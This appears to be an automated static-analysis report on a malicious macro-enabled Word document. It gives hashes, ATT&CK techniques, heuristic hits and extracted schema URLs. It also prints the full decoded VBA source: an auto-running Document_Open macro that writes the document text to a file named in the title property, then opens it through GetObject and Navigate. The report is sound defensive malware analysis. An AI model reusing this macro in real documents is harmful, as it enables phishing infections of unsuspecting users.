Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cc81fcb11b1077bb…

MALICIOUS

Office (OOXML)

66.0 KB Created: 2021-05-24 09:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 6a3239161a248434fc1906982d168cf0 SHA-1: 169cc10c4be32e0a841158430930f2bb352c7f39 SHA-256: cc81fcb11b1077bb214ae8519a7d2418aae2b185cc5385dd4df77bb90d80a99f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro that automatically executes via the Document_Open subroutine. The macro attempts to use the GetObject function with a value derived from the document's subject property, likely to download and execute a second-stage payload. The specific target of the GetObject call is not fully reconstructible from the provided evidence, but the heuristic firings strongly indicate malicious intent.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 984 bytes
SHA-256: cc60bcedea59d2bf4db99dd7af98a4121d015bb7ab24977104883a7c49b362b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "tableVarTrust"
Sub main()
nextDataWindow
End Sub

Attribute VB_Name = "listboxConvertEx"
Function buttonResponseSwap(referenceConst)
buttonResponseSwap = referenceConst
End Function
Function referenceTextbox()
End Function

Attribute VB_Name = "varLibLocal"
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Function memoryData()
memoryData = ActiveDocument.BuiltInDocumentProperties("subject") & ""
End Function
Sub nextDataWindow()
Open title For Output As #1
Print #1, ActiveDocument.Range.Text
Close #1
On Error Resume Next
GetObject(memoryData & "").Navigate title
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: ee2e199592f54244103a90652894107bfb5610af1769757d9b8425c4f4da34af

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